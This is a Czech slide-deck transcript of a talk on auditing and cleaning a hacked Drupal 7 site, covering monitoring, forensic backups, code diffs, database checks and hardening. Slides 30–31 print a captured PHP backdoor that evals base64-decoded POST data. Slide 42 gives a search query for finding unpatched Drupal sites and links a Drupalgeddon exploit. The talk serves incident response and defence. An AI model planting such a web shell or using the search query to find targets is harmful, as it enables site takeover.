Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Hacknutý Drupal web. A co teď?

145 views

Published on

Jak zauditovat a vyčistit napadený Drupal web.

Published in: Internet
  • Be the first to comment

  • Be the first to like this

Hacknutý Drupal web. A co teď?

  1. 1. Hacknutý web. A co teď? Radim Klaška, Morpht.com
  2. 2. Kdo je cílem? Image: http://www.ogosense.com/blog/31-is-your-joomla-site-hacked-now-what
  3. 3. Kdo je cílem? Image: http://www.binpress.com/images/stores/store357/php-web-crawler-166.png Automatizované útoky
  4. 4. Kdo je cílem? Image: Tatiana Popova, shuttershock.com Konkurence
  5. 5. Monitoring ● Kdo je cílem? Co sledovat? ● Server: logy ○ https://prague2013.drupal.org/session/have- you-been-stalking-your-servers.html ○ Collectd Graph Panel / New Relic ● Drupal: logy ○ Views + grafy ○ Syslog (Drupal core) ○ ELK stack ● Monitoring dostupnosti ○ klíčové slovo ○ (ale to už je také pozdě) ● Uživatel ;-)
  6. 6. Monitoring ● Kdo je cílem? New Relic https://docs.newrelic.com/docs/agents/php-agent/frameworks-libraries/drupal-specific-functionality
  7. 7. Monitoring ● Kdo je cílem? Elasticsearch, Logstash, Kibana Image: Logging drupal logs with Logstash and drupal_dblog: https://blog.adminfactory.net/logging-drupal-logs-with-logstash-and-drupal_dblog.html Drupal and Logstash: centralised logging https://events.drupal. org/neworleans2016/sessions/drupal-and-logstash-centralised-logging
  8. 8. Monitoring ● Kdo je cílem? UptimeRobot.com https://uptimerobot.com/
  9. 9. Monitoring ● Kdo je cílem? Mód údržby
  10. 10. Usecase ● Kdo je cílem? ● Monitoring Reálný příklad ● Nová poptávka ● Asi nejhorší možný scénář ● Nový zákazník kterého neznáme ● Neznáme web ● Neznáme zázemí (hosting) ● Žádné kontakty na předchozího vývojáře
  11. 11. Audit I. ● Kdo je cílem? ● Monitoring ● Usecase Než řeknete ANO ● Zjistit o nejvíce ● http://mxtoolbox.com/NetworkTools.aspx ● Kdo je vlastník? ● Má i jiné projekty? ● Zjistím hosting? ● Co hosting nabízí? (FTP / Git?) ● Je web dostupný? ● Co je účelem webu? ● Je pro zákazníka kritický? ● Budete nuceni s někým spolupracovat? (podpora hostingu) ● Jak vypadá výstup (HMTL/CSS/JS) webu?
  12. 12. Audit I. ● Kdo je cílem? ● Monitoring ● Usecase Náš případ ● web rozesílá e-mail spam ● Drupal 7.32 ● web je dostupný ● podezření na špatně implementovanou theme ● Zjistil jsem majitele (nikdo mě nepřeprodává) ● Běžný hosting (FTP) ● V té době hosting nabádal k úpravě jádra! ● Web je pro zákazníka kritický (kontaktní info) https://twitter.com/radimklaska/status/402923875111272448
  13. 13. Audit I. ● Kdo je cílem? ● Monitoring ● Usecase Ano / vlastní web
  14. 14. Forensic Copy ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. Čas na zálohu ● Zálohovat vše ● Soubory ● Databáze ● Logy ● DNS ● Přístupové údaje ● Další klíčové informace (kdo má přístupy?)
  15. 15. Forensic Copy ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. Nikdy nepracovat se zálohou
  16. 16. Forensic Copy ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. Nikdy nepracovat se zálohou
  17. 17. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Zprovoznit lokální verzi
  18. 18. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Strategie ● Záloha je pouze ke čtení ● Report píšeme od samého začátku ● Změníme přístupové údaje ● Musíme/můžeme se starat o bezpečnost hostingu? ● Lokální verzi analyzujeme a opravujeme za pochodu ● Živý web můžeme mezitím smazat a nahradit jednoduchým index.html pro rychlé spuštění ● Využijeme contrib kódu k detekci změn ● Další nástroje nám pomohou s analýzou problému ● Důkladná analýza logů ● Analýza a oprava databáze ● Deployment
  19. 19. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Přístupové údaje ● Hesla uložená v FTP klientech? ● Spousta přístupů se dá úplně zakázat v době kdy neprobíhá vývoj. ● Je nebezpečí kompromitovaného mailu klienta? ● Dvoufázové přihlášení ● FTP WTF?!? - SFTP / FTPS / SSH / Git
  20. 20. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Aktuální stav ● https://www.drupal.org/project/site_audit
  21. 21. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Aktuální stav ● https://www.drupal.org/project/site_audit
  22. 22. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Aktuální stav ● https://www.drupal.org/project/site_audit ● https://www.drupal.org/project/hacked
  23. 23. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Aktuální stav ● https://www.drupal.org/project/site_audit ● https://www.drupal.org/project/hacked ● https://www.drupal.org/project/drupalgeddon
  24. 24. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Analýza kódu ● “Co tam je” vs. “Co tam má být” ● Většina kódu je z Drupal.org ● Nástroje ○ Git ○ Drush ○ Vývojové prostředí (PHPStorm...) ● git commit aktuální stav ● Rozdělit na ○ uživatelské soubory (.gitignore) ○ kód (jádro, moduly)
  25. 25. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Uživatelské soubory ● sites/*/files/* ● Žádné spustitelné soubory! ● TIP: Vypíše všechny koncovky: find sites/default/files -type f | awk - F. '!a[$NF]++{print $NF}' ● Smazat vše podezřelé
  26. 26. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Kód (contrib) ● git diff mezi drupal.org a aktuálním kódem ● drush generate-makefile current.make ○ http://drushcommands.com/drush- 8x/make/make-generate/ ○ makefile obsahuje i použité verze ● Zkontrolovat a opravit umístění custom modulů ● Smazat vše kromě /sites ● Smazat contrib v /sites ● drush make current.make ○ http://drushcommands.com/drush- 8x/make/make/ ○ stejné projekty ale čisté u drupal.org ● git diff HEAD^..HEAD ● contrib hacks vs. real hacks ● Pozor na libraries - manuálně
  27. 27. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Kód (contrib) TIPs: ● git diff --stat <sha1> <sha1> ● git diff <sha1> <sha1> ● git diff <sha1> <sha1> ● git diff <sha1>:folder/file.php <sha1>: folder/file.php
  28. 28. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Nákaza Access log - podezřelé requesty: 195.182.142.73 - - [20/Mar/2015:10:36:35 +0100] "POST /sites/all/themes/contrib/adaptivetheme/adap tivetheme/at_subtheme/theme-settings.php HTTP/1.1" 200 346 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0" 91.109.247.249 - - [21/Mar/2015:14:23:24 +0100] "POST /modules/field/modules/options/options.api. php HTTP/1.1" 200 346 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0" Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
  29. 29. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Nákaza Zavirované soubory: themes/garland/menu.php files/styles/thumbnail/public/images/thumbna ils/stats.php_ files/styles/thumbnail/public/images/thumbna ils/stats.php modules/image/3dn986.php modules/trigger/ixmv.php
  30. 30. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Nákaza Obsah souborů: <?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4]. $sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11]. $sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF [10]);$s22=${strtoupper($sF[11].$sF[0].$sF [7].$sF[9].$sF[2])}['n7f2521'];if(isset ($s22)){eval($s21($s22));}?> Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
  31. 31. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Nákaza Obsah souborů: <?php $sF = "PCT4BA6ODSE_"; $s21 = "base64_decode"; $s22 = $_POST['n7f2521']; if (isset($s22)) { eval(base64_decode($s22)); } ?> Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
  32. 32. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Kód (custom) ● je třeba najít a zkontrolovat převážně ručně ● vývojové prostředí pomůže s formátováním kódu dle Drupal coding standards (https://www.drupal. org/coding-standards) pro lepší čitelnost ● https://www.drupal.org/project/coder ○ Integruje Code Sniffer ○ https://github. com/FloeDesignTechnologies/phpcs-security- audit ● nejde jen o vlastní moduly, ale i o šablony!
  33. 33. Audit II. ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Databáze ● Nákaza se těžko hledá ● https://www.drupal.org/project/drupalgeddon testuje i databázi (http://cgit.drupalcode. org/drupalgeddon/tree/checks/bad_menu_router_call backs_check.inc) ● PHP_filter = zlo ● TIP: Adminer dovoluje lehce hledat řetězec napříč všemi tabulkami. ● Začněte s eval, _decode, $_POST, php… ● Problém může být i v prostém oprávnění ○ /admin/config/content/formats ○ /admin/people/permissions ○ /admin/reports/status Adminer: https://www.adminer.org/cs/
  34. 34. Zprovoznění ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. Čistý web ● Web je nyní čistě implementovaný ○ Pokud jsou ponechány úpravy contrib kódu, tak jsou implementovány čistě (např. kombinací . make a .patch souborů) a verzovány. ○ https://www.drupal.org/node/1432374 ● Aktualizace (minimálně bezpečnostní) ○ drush ups ○ drush up ● Migrace na hosting ○ git push / drush sql-sync ○ https://github.com/git-ftp/git-ftp :(
  35. 35. Zprovoznění ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. Záchrana dokončena ● Web běží, je na čase se připravit na klienta ● Připravit report ○ Přehled - rychlý souhrn pro klienta a pro vás po ročním odstupu ○ Technické detaily ■ git repozitář s celou historií oprav ■ veškeré “diffy” včetně příkazů které je vytvořily ○ Plán/seznam následujících oprav ● Prevence
  36. 36. Prevence ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění Neprůstřelný web?
  37. 37. Prevence ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Jednoduše to nejde. ● Minimalizace rizika a zbytečné práce. Neprůstřelný web?
  38. 38. Prevence ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Jednoduše to nejde. ● Minimalizace rizika a zbytečné práce. ● Verzování pomůže rychle identifikovat problém. Neprůstřelný web?
  39. 39. Prevence ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Jednoduše to nejde. ● Minimalizace rizika a zbytečné práce. ● Verzování pomůže rychle identifikovat problém. ● Správně nastavený server ○ http://blog.celogeek.com/201209/202/how-to- configure-nginx-php-fpm-drupal-7-0/ ○ žádná práva zápisu s vyjímkou sites/*/files/* ○ spustit lze jen index.php Neprůstřelný web?
  40. 40. Prevence ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Jednoduše to nejde. ● Minimalizace rizika a zbytečné práce. ● Verzování pomůže rychle identifikovat problém. ● Správně nastavený server ○ http://blog.celogeek.com/201209/202/how-to- configure-nginx-php-fpm-drupal-7-0/ ○ žádná práva zápisu s vyjímkou sites/*/files/* ○ spustit lze jen index.php ● Automatizované procesy ○ zálohy ○ deployment Neprůstřelný web?
  41. 41. Důvody ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Prevence SA-CORE-2014-005
  42. 42. Důvody ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Prevence ● SA-CORE-2014-005 - Drupal core - SQL injection ○ Drupalgeddon ○ <7.32 (15.říjen 2014) ● Google: inurl:CHANGELOG.txt intext:drupal intext:"SA-CORE" -intext:7.32 -site: github.com -site:drupal.org ● https://github. com/MKorostoff/drupalgeddon/blob/master/attack/e xploit.php SA-CORE-2014-005
  43. 43. Souhrn ● Kdo je cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Prevence ● Důvody Co si odnést ● Nebojujte s best practices ● Používejte Git ● Přestaňte používat čisté FTP ● Sledujte https://www.drupal.org/security & https: //www.drupal.org/security/contrib (newsletter) ● Nastavte si Code Sniffer ve svém vývojovém prostředí ○ Pravidla dodržujte průběžně, ne “až na konec” ● Vyzkoušejte ○ https://pantheon.io/ ○ http://getdevshop.com/ ○ https://github.com/geerlingguy/drupal-vm
  44. 44. Dotazy @radimklaska / radim@klaska.net
  45. 45. Hacknutý web. A co teď? Radim Klaška, Morpht.com

×